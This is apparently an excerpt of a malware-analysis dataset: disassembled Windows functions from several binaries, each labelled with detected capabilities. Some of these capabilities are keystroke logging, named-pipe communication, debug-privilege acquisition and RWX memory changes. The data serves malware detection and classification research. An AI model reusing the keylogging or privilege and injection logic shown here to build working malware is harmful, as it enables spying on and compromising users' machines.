joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000bacb
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
mov dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
call fcn.1000b993
push dword [ebp - 8]
push 0x1388
push 0x1000
push 0x1000
push 0xff
push 6
push 0x40000003
push str..pipe_ntbyeuoy
call sub.kernel32.dll_CreateNamedPipeA
cmp eax, 0xffffffff
je 0x1000bb25
mov dword [0x100265e0], eax
push dword [ebp + 8]
push dword [0x100265e0]
call fcn.1000ba7f
mov dword [ebp - 4], eax
push dword [ebp - 8]
call fcn.1000ba2a
mov eax, dword [ebp - 4]
pop edi
leave
ret 4

Function at 0x1000bb71
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
mov dword [ebp - 4], 0
mov edi, dword [ebp + 0x10]
cmp dword [ebp + 8], 0
jne 0x1000bbb9
cmp dword [ebp + 0xc], 0
je 0x1000bbb9
push edi
call fcn.1000ba52
lea eax, [edi + 0x18]
push eax
call fcn.100055b7
lea eax, [edi + 0x1c]
push eax
call fcn.1000460a
push fcn.1000bbca
push edi
push eax
push edx
push dword [edi + 0x14]
call sub.kernel32.dll_WriteFileEx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000bbc5
push edi
call fcn.1000bb35
pop edi
leave
ret 0xc

Function at 0x1000bbca
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
mov dword [ebp - 4], 0
mov edi, dword [ebp + 0x10]
lea eax, [edi + 0x1c]
push eax
call fcn.1000460a
cmp dword [ebp + 8], 0
jne 0x1000bcb1
or eax, eax
jne 0x1000bcb1
lea eax, [edi + 0x1c]
push eax
call fcn.100055b7
cmp dword [ebp + 0xc], 0
je 0x1000bc81
push dword [ebp + 0xc]
lea eax, [edi + 0x18]
push eax
call fcn.10004715
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push dword [edi + 0x14]
call sub.kernel32.dll_PeekNamedPipe
or eax, eax
je 0x1000bc2f
cmp dword [ebp - 8], 0
jne 0x1000bc4c
lea eax, [edi + 0x18]
push eax
call fcn.1000460a
push dword [ebp + 0x10]
push eax
push 0
call fcn.1000bb71
mov dword [ebp - 4], 1
jmp 0x1000bcb1
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 8]
push eax
lea eax, [edi + 0x18]
push eax
call fcn.10004715
lea eax, [edi + 0x18]
push eax
call fcn.1000460a
add edx, dword [ebp + 0xc]
push fcn.1000bb71
push dword [ebp + 0x10]
push dword [ebp - 8]
push edx
push dword [edi + 0x14]
call sub.kernel32.dll_ReadFileEx
mov dword [ebp - 4], eax
jmp 0x1000bcb1
push 0x1000
lea eax, [edi + 0x18]
push eax
call fcn.10004715
lea eax, [edi + 0x18]
push eax
call fcn.1000460a
push fcn.1000bbca
push dword [ebp + 0x10]
push 0x1000
push edx
push dword [edi + 0x14]
call sub.kernel32.dll_ReadFileEx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000bcbd
push edi
call fcn.1000bb35
pop edi
leave
ret 0xc
Function at 0x1000bd64
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffefec
push esi
push edi
push ecx
push edx
push ebx
mov dword [ebp - 4], 0
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push str..pipe_ntbyeuoy
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x1008], eax
cmp eax, 0xffffffff
jne 0x1000bdc7
call sub.kernel32.dll_GetLastError
cmp eax, 0xe7
jne 0x1000be59
push 0x4e20
push str..pipe_ntbyeuoy
call sub.kernel32.dll_WaitNamedPipeA
cmp eax, 0
je 0x1000be59
jmp 0x1000bd79
mov dword [ebp - 0x1014], 2
push 0
push 0
lea eax, [ebp - 0x1014]
push eax
push dword [ebp - 0x1008]
call sub.kernel32.dll_SetNamedPipeHandleState
cmp eax, 0
je 0x1000be59
push dword [ebp + 8]
call fcn.1000460a
mov ebx, eax
push 0
lea eax, [ebp - 0x1010]
push eax
push ebx
push edx
push dword [ebp - 0x1008]
call sub.kernel32.dll_WriteFile
cmp eax, 0
je 0x1000be59
push 0
lea eax, [ebp - 0x100c]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ebp - 0x1008]
call sub.kernel32.dll_ReadFile
cmp eax, 1
jne 0x1000be4d
push dword [ebp - 0x100c]
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 0xc]
call fcn.10004521
jmp 0x1000be11
cmp eax, 1
je 0x1000be11
mov dword [ebp - 4], 1
cmp dword [ebp - 0x1008], 0xffffffff
je 0x1000be6d
push dword [ebp - 0x1008]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop ebx
pop edx
pop ecx
pop edi
pop esi
leave
ret 8
Function at 0x1000c71c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
pushal
mov edi, dword [ebp + 8]
cmp dword [edi + 4], 0x100
jne 0x1000c7f9
push 0x10026748
call sub.kernel32.dll_EnterCriticalSection
mov esi, dword [0x10026760]
and esi, 1
push 0x10026748
call sub.kernel32.dll_LeaveCriticalSection
or esi, esi
je 0x1000c8ea
push 0x100
lea eax, [ebp - 0x100]
push eax
call fcn.10001ad5
lea eax, [ebp - 0x100]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [edi + 0xc]
shr eax, 0x10
and eax, 0xff
mov dword [ebp - 0x110], eax
mov edi, dword [ebp + 8]
push 0
push 0xa
lea eax, [ebp - 0x10a]
push eax
lea eax, [ebp - 0x100]
push eax
push dword [ebp - 0x110]
push dword [edi + 8]
call sub.user32.dll_ToUnicode
or eax, eax
je 0x1000c7f4
shl eax, 1
mov dword [ebp - 0x114], eax
push 0x10026748
call sub.kernel32.dll_EnterCriticalSection
push 0x10026764
call fcn.1000460a
cmp eax, 0x2710
jae 0x1000c7ea
push dword [ebp - 0x114]
lea eax, [ebp - 0x10a]
push eax
push 0x10026764
call fcn.10004521
push 0x10026748
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x1000c8ea
cmp dword [edi + 4], 0x201
jne 0x1000c8ea
push 0x10026748
call sub.kernel32.dll_EnterCriticalSection
mov esi, 0
cmp dword [0x1002676c], 0x64
jae 0x1000c827
mov esi, dword [0x10026760]
and esi, 2
push 0x10026748
call sub.kernel32.dll_LeaveCriticalSection
or esi, esi
je 0x1000c8ea
mov dword [ebp - 0x11c], 0
lea eax, [ebp - 0x11c]
push eax
call fcn.1000593e
push 1
push 0x10026770
lea eax, [ebp - 0x11c]
push eax
call fcn.10004521
lea eax, [ebp - 0x11c]
push eax
call fcn.1000460a
mov dword [ebp - 0x120], edx
xor ebx, ebx
mov ebx, dword [edi + 0xc]
and ebx, 0xffff
mov edx, dword [edi + 0xc]
shr edx, 0x10
mov dword [ebp - 0x118], 0
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 0x120]
push 0x46
push 0xc8
push 0xd2
push edx
push ebx
push dword [edi]
call fcn.1000c479
lea eax, [ebp - 0x118]
push eax
call fcn.1000460a
push eax
push edx
push 0x10026768
call fcn.10001fef
inc dword [0x1002676c]
lea eax, [ebp - 0x118]
push eax
call fcn.100055b7
lea eax, [ebp - 0x11c]
push eax
call fcn.100055b7
popal
leave
ret 4
Function at 0x1000fb47
Capabilities:
Acquire debug privileges
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
push str.SeDebugPrivilege
call fcn.10003c34
push str.SeRestorePrivilege
call fcn.10003c34
push str.SeBackupPrivilege
call fcn.10003c34
call fcn.10006344
cmp eax, 1
jne 0x1000fd78
call fcn.100044d1
call fcn.1000b029
call fcn.1000921a
push 0
call fcn.1000b96e
call fcn.1000c9c7
call fcn.10007bc4
call fcn.100089f8
call fcn.10007ab5
call fcn.10008f50
call fcn.1000c69c
push 0x100272bc
call fcn.1000381b
push 0x100272bc
call sub.kernel32.dll_lstrlenA
mov edx, eax
push 0
push 0x100272bc
push edx
push 0x100272bc
call fcn.10001195
lea edi, [0x100272bc]
push 0x100272bc
call fcn.1000229c
cmp eax, 0x10
jbe 0x1000fbf0
add edi, 0x10
push edi
call fcn.1000ae9a
push 0x6578652e
lea eax, [ebp - 0x51]
push eax
push 8
push 0x911
call fcn.1000350e
lea eax, [ebp - 0x51]
push eax
call sub.kernel32.dll_lstrlenA
push 1
push eax
lea eax, [ebp - 0x51]
push eax
call fcn.1000214c
shr edx, 1
mov dword [0x10026cc2], eax
mov dword [0x10026cc6], edx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000fa26
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000f97a
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x44]
push eax
push 0
push 0xdea
call fcn.100035c5
push 0x10026cca
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.1000372e
cmp eax, 1
jne 0x1000fcbb
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000f9ff
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0x10026b81
push str.wininet.dll
call fcn.10003c0d
push 0x10026c24
push str.nspr4.dll
call fcn.10003c0d
push 0x1002687c
push str.ws2_32.dll
call fcn.10003c0d
push 0x10026740
push 0x1002673c
push str.user32.dll
call fcn.10008fca
push 0x100268f7
push 0x100268eb
push str.dnsapi.dll
call fcn.10008fca
push 0x10026817
push 0x100267f3
push 0x1002679b
call fcn.10008fca
push 0x10026aad
push 0x10026a75
push 0x10026962
call fcn.10008fca
cmp eax, 1
jne 0x1000fd44
push 1
call fcn.1000c6c0
push 0x10026be3
push 0x10026bd3
push 0x10026b9d
call fcn.10008fca
cmp eax, 1
jne 0x1000fd64
push 1
call fcn.1000c6c0
push 0x10026c96
push 0x10026c8e
push str.ntdll.dll
call fcn.10008fca
leave
ret 4
Function at 0x1001c1ac
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x1001c1d1
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x1001c1e9
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [ebp + esi]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x1001c218
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [eax + edi - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x1001c25a
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x1001c32e
sub edx, 0x10000
js 0x1001c32e
movzx eax, word [ecx + esi - 1]
cmp eax, ebx
jne 0x1001c240
mov eax, dword [esp + 4]
movzx eax, word [ecx + eax]
cmp eax, dword [esp + 0x10]
jne 0x1001c240
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [eax + edi + 0x108]
lea esi, [eax + esi + 0x108]
mov eax, dword [edx + esi]
xor eax, dword [edx + edi]
jne 0x1001c2b1
mov eax, dword [edx + esi + 4]
xor eax, dword [edx + edi + 4]
jne 0x1001c2ae
add edx, 8
jne 0x1001c295
jmp 0x1001c31f
add edx, 4
test eax, 0xffff
jne 0x1001c2be
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edx + edi]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x1001c31f
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x1001c2f2
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x1001c240
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x1001c32e
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [eax + edi - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x1001c240
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x1001c33f
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4af728
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4af7ff
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4af81c
push ebx
push 0x4af82c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004087c4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00405884
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004084ec
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4af7aa
mov ax, 0x83
call fcn.004af34c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle
call fcn.004af6fc
push 0x4ff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x4af7b3
call fcn.004af6fc
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4af806
lea eax, [ebp - 4]
call fcn.00407a20
ret

Function at 0x4af91c
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4af9e7
jmp 0x4af9db
cmp dword [esi + 0x10], 0x1000
jne 0x4af9c7
test byte [esi + 0x15], 1
jne 0x4af9c7
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4af978
cmp ebp, 2
je 0x4af978
cmp ebp, 0x10
je 0x4af978
cmp ebp, 0x20
jne 0x4af994
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4af994
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4af9a5
mov eax, dword [esi]
add eax, ebx
call fcn.004af914
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4af998
cmp byte [esp + 4], 0
je 0x4af9c7
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4af9e7
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4af94d
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4110c8
Capabilities:
Terminate process

Disassembly:
jmp 0x41f710
jmp fcn.00420870
cmp ecx, dword [0x42b20c]
jne 0x41f71a
repz ret
jmp 0x4112d5
Function at 0x401225
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b01c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [0x40b020], 0x401219
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
mov dword [0x40b038], eax
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
lea eax, [0x40903c]
fnstenv [eax]
push 0
push 0x40b030
push 0x40b02c
push 0x40b028
call sub.CRTDLL.DLL___GetMainArgs
mov ecx, 0x409058
mov edx, dword [ecx]
or edx, edx
je 0x40129f
call ecx
push dword [0x40b030]
push dword [0x40b02c]
push dword [0x40b028]
mov dword [0x40b014], esp
call fcn.004012d4
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x401b98
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp edi, 1
je 0x401c26
cmp edi, 4
jne 0x401c1b
mov eax, dword [sym.imp.CRTDLL.DLL__iob]
add eax, 0x40
push eax
push 1
push 7
push str.signal
call sub.CRTDLL.DLL_fwrite
push 0xa
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 0xc]
call sub.CRTDLL.DLL__itoa
add esp, 0x1c
lea ecx, [ebp - 0x80]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401bdf
mov ebx, dword [sym.imp.CRTDLL.DLL__iob]
add ebx, 0x40
push ebx
push 1
push eax
lea esi, [ebp - 0x80]
push esi
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
mov eax, dword [sym.imp.CRTDLL.DLL__iob]
add eax, 0x40
push eax
push 1
push 1
push 0x40b26c
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
jmp 0x401c26
cmp edi, 3
je 0x401c26
push dword [ebp + 0xc]
call edi
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405b36
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
or dword [ebp - 0x20], 0xffffffff
and dword [ebp - 0x18], 0
or dword [ebp - 0x134], 0xffffffff
push pe_nt_image_headers32
push 0
lea eax, [ebp - 0x1c0]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
and dword [ebp - 4], 0
and dword [ebp - 0x138], 0
jmp 0x406500
Function at 0x401400
Capabilities:
Get file system object information

Disassembly:
sub esp, 0x2c0
lea eax, [esp]
push ebx
mov ebx, dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push ebp
push esi
push edi
mov edi, dword [esp + 0x2d4]
push 0x301
push 0x160
push eax
push 0
mov esi, ecx
push edi
call ebx
push 0x303
lea ecx, [esp + 0x174]
push 0x160
push ecx
push 0
push edi
call ebx
mov eax, dword [esp + 0x2e0]
mov ebx, dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
cmp eax, 0xffffffff
jne 0x401466
mov edx, dword [esp + 0x10]
mov eax, dword [esi + 0x244]
push edx
push 0xffffffffffffffff
push eax
call ebx
mov edi, dword [esp + 0x2e4]
mov ebp, eax
cmp edi, 0xffffffff
jne 0x401488
mov ecx, dword [esp + 0x170]
mov edx, dword [esi + 0x244]
push ecx
push edi
push edx
call ebx
mov edi, eax
lea eax, [esi + 0x240]
test eax, eax
je 0x401495
mov eax, dword [eax + 4]
push eax
mov eax, dword [esi + 0x20]
push 0
push 0x1109
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push eax
call sub.MFC42.DLL_CImageList::FromHandle
mov ecx, dword [esp + 0x2dc]
mov edx, dword [esp + 0x2d8]
push edi
push ebp
push ecx
lea eax, [esp + 0x28]
push edx
push eax
mov ecx, esi
call fcn.004019a0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c0
ret 0x14
Function at 0x4021a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40cd38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0xc]
mov ecx, esi
push eax
mov dword [esp + 0x50], 0
call sub.MFC42.DLL_CWnd::GetWindowTextA
mov ecx, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_GetParent]
push ecx
call edi
push eax
call sub.MFC42.DLL_CWnd::FromHandle
mov edx, dword [eax + 0x20]
mov ecx, esi
mov dword [esp + 0x10], edx
call sub.MFC42.DLL_CWnd::GetDlgCtrlID
mov edx, dword [esi + 0x50]
mov ecx, dword [esi + 0x48]
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0x44]
neg edx
sbb edx, edx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x18], 0xffffff96
not edx
and edx, eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x24], ecx
mov dword [esp + 0x30], edx
mov eax, dword [eax - 8]
mov dword [esp + 0x34], eax
mov eax, dword [esi + 0x20]
push eax
call edi
push eax
call sub.MFC42.DLL_CWnd::FromHandle
mov ecx, dword [esi + 0x20]
mov ebx, eax
push ecx
call edi
push eax
call sub.MFC42.DLL_CWnd::FromHandle
mov edx, dword [eax + 0x20]
push edx
call edi
push eax
call sub.MFC42.DLL_CWnd::FromHandle
mov ecx, ebx
mov esi, eax
call sub.MFC42.DLL_CWnd::GetDlgCtrlID
mov edx, dword [esi + 0x20]
lea ecx, [esp + 0x10]
push ecx
push eax
push 0x4e
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [esp + 0xc]
mov dword [esp + 0x4c], 0xffffffff
call fcn.0040c2b6
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x44
ret

Function at 0x4037b0
Capabilities:
Check os version

Disassembly:
push esi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
lea eax, [esi + 4]
jb 0x4037c8
mov dword [eax], 0x58
jmp 0x4037ce
mov dword [eax], 0x4c
mov ecx, dword [esi + 0x5c]
pop esi
test ecx, ecx
push eax
je 0x4037e4
call sub.comdlg32.dll_GetOpenFileNameA
neg eax
sbb eax, eax
add eax, 2
ret
call sub.comdlg32.dll_GetSaveFileNameA
neg eax
sbb eax, eax
add eax, 2
ret

Function at 0x404250
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
sub esp, 0x3c
push esi
mov esi, dword [esp + 0x48]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40426b
xor eax, eax
pop esi
add esp, 0x3c
ret
and eax, 0x10
cmp al, 0x10
jne 0x404279
xor eax, eax
pop esi
add esp, 0x3c
ret
push edi
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x50]
lea edx, [esp + 8]
mov dword [esp + 8], 0x3c
push edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x28], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
pop edi
pop esi
add esp, 0x3c
ret
Function at 0x4042d0
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x40d207
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x430
push ebx
push ebp
xor ebx, ebx
push esi
push edi
mov dword [esp + 0x18], ebx
push 0x414b58
lea ecx, [esp + 0x14]
mov dword [esp + 0x44c], 2
call fcn.00409e60
lea ecx, [esp + 0x30]
mov byte [esp + 0x448], 3
call sub.MFC42.DLL_CFile::CFile
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x448], 4
xor ebp, ebp
stosb byte es:[edi], al
call sub.MFC42.DLL_CException::CException
lea ecx, [esp + 0x2c]
mov byte [esp + 0x448], 5
call sub.MFC42.DLL_CString::CString
mov edi, 0x40fdb4
push ebx
lea ecx, [esp + 0x30]
mov byte [esp + 0x44c], 6
mov dword [esp + 0x20], edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], 0xffffffff
call fcn.0040c328
mov eax, dword [esp + 0x464]
mov esi, 1
cmp eax, esi
mov byte [esp + 0x448], 7
jne 0x4043a4
mov eax, dword [esp + 0x454]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [esp + 0x454]
lea ecx, [esp + 0x1c]
push ecx
push ebx
push edx
lea ecx, [esp + 0x3c]
call sub.MFC42.DLL_CFile::Open
test eax, eax
je 0x4044d5
lea eax, [esp + 0x40]
push 0x3ff
push eax
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CFile::Read
mov esi, eax
cmp esi, ebx
je 0x4043ee
lea ecx, [esp + 0x40]
mov byte [esp + esi + 0x40], bl
push ecx
lea ecx, [esp + 0x14]
call fcn.0040a200
add ebp, esi
cmp esi, ebx
ja 0x4043c3
cmp ebp, ebx
jne 0x404430
cmp dword [esp + 0x460], ebx
je 0x404430
lea edx, [esp + 0x458]
lea ecx, [esp + 0x10]
push edx
call fcn.0040a180
mov esi, dword [esp + 0x45c]
lea ecx, [esp + 0x458]
call fcn.0040a070
push eax
push esi
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CFile::Write
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CFile::Close
mov esi, dword [esp + 0x450]
lea edx, [esp + 0x10]
push edx
mov ecx, esi
call fcn.00409e10
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], edi
mov byte [esp + 0x448], 9
lea ecx, [esp + 0x2c]
call fcn.0040c2b6
lea ecx, [esp + 0x30]
mov dword [esp + 0x1c], 0x40f74c
mov byte [esp + 0x448], 3
call fcn.0040c520
lea ecx, [esp + 0x10]
mov byte [esp + 0x448], 2
call fcn.00409eb0
lea ecx, [esp + 0x454]
mov byte [esp + 0x448], 1
call fcn.0040c2b6
lea ecx, [esp + 0x458]
mov byte [esp + 0x448], bl
call fcn.00409eb0
mov ecx, dword [esp + 0x440]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x43c
ret
cmp dword [esp + 0x468], esi
jne 0x404439
mov eax, dword [esp + 0x454]
push ebx
push 0x1001
push eax
lea ecx, [esp + 0x3c]
call sub.MFC42.DLL_CFile::Open
test eax, eax
jne 0x404412
mov esi, dword [esp + 0x450]
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.00409e10
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], edi
mov byte [esp + 0x448], 8
jmp 0x404460